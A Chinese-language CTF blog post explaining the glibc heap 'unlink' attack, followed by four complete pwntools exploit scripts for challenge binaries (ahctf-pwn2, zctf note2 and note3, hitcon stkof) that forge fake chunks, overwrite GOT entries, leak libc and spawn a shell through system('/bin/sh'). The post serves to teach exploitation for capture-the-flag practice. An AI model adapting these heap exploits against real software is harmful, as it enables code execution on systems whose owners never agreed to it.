Unlink-Exploit

July 17, 2019 PWN 访问: 28 次

这个漏洞的利用手法以及利用原理是在安恒培训的时候学到的

unlink

目的:为了把一个双向链表中的空闲块拿出来,如free chunk时和目前物理相邻的free chunk进行合并
盗用CTF-wiki上一个图来展示unlink过程

以我个人的理解,上面的图的意思就是unlink(P)
通过读libc源码发现unlink具体操作

#define unlink(P, BK, FD) {
  FD = P->fd;
  BK = P->bk;
  FD->bk = BK;
  BK->fd = FD;
}

unlink攻击的前提就是存在对溢出,并且可以相邻堆块的值,我们伪造的结构中,有FD、BK
unlink过程中所利用的是第四步target_addr-0x10+0x10==target_addr-0x18
实现任意地址写
malloc大小为0x80时才进入到small bin里面

例子

ahctf-pwn2

64位ELF文件,只开启了NX(堆栈不可执行保护),菜单题
漏洞点在edit,没有对输入长度进行限制,而且每个堆块分配的大小都是0x80,那么就造成unlink漏洞
exp:

from pwn import *
import sys
context.log_level='debug'
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.arch='amd64'
file=ELF("./pwn2")
free_got = file.got['free']
# libc=ELF("./")
# ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn2")
def creat(index):
    sh.recvuntil('---------------------------\n')
    sh.sendline('1')
    #sh.recvuntil('enter the index of the node you want to create:')
    sh.sendline(str(index))
def delete(index):
    sh.recvuntil('---------------------------\n')
    sh.sendline('3')
    #sh.recvuntil('enter the index of the node you want to create:')
    sh.sendline(str(index))
def show(index):
    sh.recvuntil('---------------------------\n')
    sh.sendline('4')
    #sh.recvuntil('enter the index of the node you want to create:')
    sh.sendline(str(index))
def edit(index,length,value):
    sh.recvuntil('---------------------------\n')
    sh.sendline('2')
    #sh.recvuntil('enter the index of the node you want to edit:')
    sh.sendline(str(index))
    #sh.recvuntil("please enter the length of the input:")
    sh.sendline(str(length))
    #sh.recvuntil('please enter the contents of the node:')
    sh.send(value)
log.info("free got addr : "+hex(free_got))
target_addr=  0x6012a0
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk='a'*0x8 # prev_size
fake_chunk+=p64(0x81) # size
fake_chunk+=p64(fd)+p64(bk)
fake_chunk+='a'* 0x60#padding
fake_chunk+=p64(0x80)
fake_chunk+=p64(0x90)
creat(0)
creat(1)
edit(0,len(fake_chunk),fake_chunk)  #
delete(1)
pay = 0x18*"c"+p64(0x601208)
edit(0,0x20,pay)
pay_1 = p64(0x4009b6)
edit(0,0x8,pay_1)
# gdb.attach(sh)
# raw_input()
delete(1)
sh.interactive()

2016_zctf_note2

一个CTF-wiki上的例子
同样也是存在堆溢出,unlink漏洞
具体不再分析,利用方式都是一样的
exp:

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
file=ELF("./note2")
# libc=ELF("./")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./note2")
def creat(chunk_size,value):
    sh.recvuntil('option--->>')
    sh.sendline('1')
    sh.recvuntil('Input the length of the note content:(less than 128)\n')
    sh.sendline(str(chunk_size))
    sh.recvuntil('Input the note content:\n')
    sh.sendline(value)
def delete(index):
    sh.recvuntil('option--->>')
    sh.sendline('4')
    sh.recvuntil('Input the id of the note:\n')
    sh.sendline(str(index))
def show(index):
    sh.recvuntil('option--->>')
    sh.sendline('2')
    sh.recvuntil('Input the id of the note:\n')
    sh.sendline(str(index))
def edit(index,value,choose):
    sh.recvuntil('option--->>')
    sh.sendline('3')
    sh.recvuntil('Input the id of the note:\n')
    sh.sendline(str(index))
    sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]\n')
    sh.sendline(str(choose))
    sh.recvuntil('TheNewContents:')
    sh.sendline(value)
target_addr= 0x602120
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk='a'*0x8 # prev_size
fake_chunk+=p64(0xa1) # size
fake_chunk+=p64(fd)+p64(bk)
fake_chunk+='a'*0x60 #padding
sh.recvuntil("Input your name:\n")
sh.sendline("radish")
sh.recvuntil("Input your address:\n")
sh.sendline("radish")
creat(0x80,fake_chunk)#0
creat(0x0,"b"*0x10)#1
creat(0x80,"c"*0x80)#2
delete(1)#1
payload = "/bin/sh\x00"+"d"*0x8+p64(0xa0)+p64(0x90)
creat(0x0,payload)#3
delete(2)
free_got = file.got['free']
pay = "a"*0x18+p64(free_got)
edit(0,pay,1)
show(0)
sh.recvuntil("Content is ")
free_addr = u64(sh.recvuntil("\n",drop=True)+"\x00\x00")
log.info("free_addr : "+hex(free_addr))
base_addr = free_addr-libc.symbols['free']
log.info("base_addr : "+hex(base_addr))
system_addr = libc.symbols['system']+base_addr
log.info("system_addr : "+hex(system_addr))
payload = p64(system_addr)
edit(0,payload,1)
delete(3)
# gdb.attach(sh)
# raw_input()
sh.interactive()

2014_hitcon_stkof

edit时输入长度无限制,所以造成堆溢出,进而造成unlink Exploit
经过调试发现该程序存在chunk的缓存区,会自定义创建一个chunk,绕过方法就是先创建几个chunk来讲缓存区利用完,然后在构造fake_chunk来触发unlink漏洞
利用方法是一样的
exp:

from pwn import *
import sys
context.log_level='debug'
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.arch='amd64'
file=ELF("./stkof")
free_got = file.got['free']
# libc=ELF("./")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./stkof")
def creat(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil("OK\n")
def delete(index):
    sh.sendline('3')
    sh.sendline(str(index))
    sh.recvuntil("OK\n")
# def show(index):
#     #code.....
def edit(index,size,value):
    sh.sendline('2')
    sh.sendline(str(index))
    sh.sendline(str(size))
    sh.send(value)
    sh.recvuntil("OK\n")
log.info("free got addr : "+hex(free_got))
target_addr=  0x602160
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk='a'*0x8 # prev_size
fake_chunk+=p64(0x81) # size
fake_chunk+=p64(fd)+p64(bk)
fake_chunk+='a'* 0x60#padding
fake_chunk+=p64(0x80)
fake_chunk+=p64(0x90)
creat(0x80)#1
creat(0x80)#2
creat(0x80)#3
edit(3,0x8,"/bin/sh\x00")
creat(0x80)#4
creat(0x80)#5
creat(0x80)#6
edit(4,0x90,fake_chunk)
delete(5)
'''
{u'malloc': 6299760, u'stdin': 6299856, u'__gmon_start__': 6299752, u'puts': 6299680, u'stdout': 6299840, u'alarm': 6299720, u'fread': 6299688, u'free': 6299672, u'atoi': 6299784, u'__libc_start_main': 6299728, u'__stack_chk_fail': 6299704, u'atol': 6299776, u'printf': 6299712, u'fgets': 6299736, u'fflush': 6299768, u'strlen': 6299696, u'atoll': 6299744}
'''
log.info("free_got : "+hex(free_got))
fgets_got = file.got['fgets']
log.info("fgets_got : "+hex(fgets_got))
pay = p64(free_got)+p64(fgets_got)
edit(4,0x10,pay)
pay = p64(file.plt['puts'])
edit(1,0x8,pay)   # free_got  -> puts_plt
# delete(2)
sh.sendline('3')
sh.sendline(str(2))
fget_addr = u64(sh.recvuntil("\n",drop=True)+"\x00\x00")
sh.recvuntil("OK\n")
log.info("fget_addr : "+hex(fget_addr))
base_addr = fget_addr - libc.symbols['fgets']
log.info("base_addr : "+hex(base_addr))
system_addr = base_addr + libc.symbols['system']
log.info("system_addr : "+hex(system_addr))
pay = p64(system_addr)
edit(1,0x8,pay)
# delete(3)
sh.sendline('3')
sh.sendline(str(3))
# gdb.attach(sh)
# raw_input()
sh.interactive()

ZCTF_2016_note3

这道题读入函数sub_4008dd存在整数溢出,导致堆溢出漏洞,进而可以unlink攻击
从这道题目中我get到unlink攻击中的target_addr必须是free(p)p的前一个chunk的地址
攻击手法一样
exp:

from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
file=ELF("./note3")
# libc=ELF("./")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./note3")
def creat(chunk_size,value):
    sh.recvuntil('option--->>\n')
    sh.sendline('1')
    sh.recvuntil('Input the length of the note content:(less than 1024)')
    sh.sendline(str(chunk_size))
    sh.recvuntil('Input the note content:\n')
    sh.sendline(value)
def delete(index):
    sh.recvuntil('option--->>\n')
    sh.sendline('4')
    sh.recvuntil('Input the id of the note:\n')
    sh.sendline(str(index))
# def show(index):
#     sh.recvuntil('')
#     sh.sendline('')
#     sh.recvuntil('')
#     sh.sendline(str(index))
def edit(index,value):
    sh.recvuntil('option--->>\n')
    sh.sendline('3')
    sh.recvuntil('Input the id of the note:\n')
    sh.sendline(str(index))
    sh.recvuntil('Input the new content:\n')
    sh.sendline(value)
target_addr= 0x6020e0
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk='a'*0x8 # prev_size
fake_chunk+=p64(0x81) # size
fake_chunk+=p64(fd)+p64(bk)
fake_chunk+='a'* 0x60#padding
fake_chunk+=p64(0x80)
fake_chunk+=p64(0x90)
creat(0x80,"a"*0x80)#0
creat(0x80,"a"*0x80)#1
creat(0,"bbbbbbbb")#2
creat(0x80,"c"*0x80)#3
creat(0x80,"d"*0x80)#4
creat(0x80,"/bin/sh\x00"+"a"*0x78)#5
payload = "e"*0x18+p64(0x91)+fake_chunk
edit(2,payload)
delete(4)
free_got = file.got['free']
puts_plt = file.plt['puts']
atoi_got = file.got['atoi']
log.info("free_got:"+hex(free_got))
log.info("puts_plt:"+hex(puts_plt))
log.info("atoi_got:"+hex(atoi_got))
payload = p64(free_got)+p64(atoi_got)
edit(3,payload)
# sh.recv()
pay = p64(puts_plt)[:-1]
edit(0,pay)
# sh.recv()
delete(1)
atoi_addr = u64(sh.recvuntil("\n",drop=True)+"\x00\x00")
log.info("atoi_addr:"+hex(atoi_addr))
base_addr = atoi_addr-libc.symbols['atoi']
log.info("base_addr:"+hex(base_addr))
system_addr = base_addr+libc.symbols['system']
log.info("system_addr:"+hex(system_addr))
pay = p64(system_addr)[:-1]
edit(0,pay)
delete(5)
# gdb.attach(sh)
# raw_input()
sh.interactive()

最后覆盖free_gotputs_plt的时候有点问题,edit的长度不能超过8,我也不清楚是为什么,emmm!

添加新评论